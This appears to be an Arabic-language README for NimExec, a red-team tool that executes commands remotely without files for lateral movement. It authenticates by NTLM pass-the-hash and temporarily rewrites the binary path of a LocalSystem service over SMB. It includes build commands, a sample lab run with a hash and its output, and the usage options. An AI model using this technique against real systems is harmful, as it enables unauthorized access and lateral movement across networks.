
تنفيذ الأوامر بدون ملفات للحركة الجانبية في Nim
بشكل أساسي، NimExec هي أداة تنفيذ أوامر عن بُعد بدون ملفات تستخدم بروتوكول مدير التحكم في الخدمة عن بُعد (MS-SCMR). تقوم بتغيير المسار الثنائي لخدمة عشوائية أو معينة تُدار بواسطة LocalSystem لتنفيذ الأمر المُعطى على الهدف وتستعيده لاحقًا عبر حزم RPC مصنوعة يدويًا بدلاً من استدعاءات WinAPI. ترسل هذه الحزم عبر SMB2 والأنبوب المُسمى svcctl.
تحتاج NimExec إلى تجزئة NTLM للمصادقة على الجهاز الهدف ثم تُكمل عملية المصادقة هذه باستخدام طريقة مصادقة NTLM عبر حزم مصنوعة يدويًا.
نظرًا لأن جميع حزم الشبكة المطلوبة مصنوعة يدويًا ولا تُستخدم وظائف خاصة بنظام التشغيل، يمكن استخدام NimExec في أنظمة تشغيل مختلفة باستخدام دعم التجميع المتقاطع الخاص بـ Nim.
هذا المشروع مستوحى من أداة SharpNoPSExec الخاصة بـ Julio. يمكنك اعتبار NimExec نسخة قابلة للتجميع المتقاطع ومزودة بدعم Pass the Hash مدمج من SharpNoPSExec. أيضًا، تعلمتُ هياكل حزم الشبكة المطلوبة من نص Invoke-SMBExec الخاص بـ Kevin Robertson.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
يستخدم الأمر أعلاه جامع قمامة مختلفًا لأن جامع القمامة الافتراضي في Nim يُسبب بعض أخطاء SIGSEGV أثناء عملية البحث عن الخدمة.
أيضًا، يمكنك تثبيت وحدات Nim المطلوبة عبر Nimble باستخدام الأمر التالي:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
تم اختباره ضد Windows 10 و11 وWindows Server 16 و19 و22 من أجهزة Ubuntu 20.04 وWindows 10.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.**
-p | --password <Password> Plaintext password.**
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
لأغراض اختبار الأمان المصرح به فقط. إساءة استخدام هذه الأداة ضد أنظمة دون إذن صريح غير قانونية.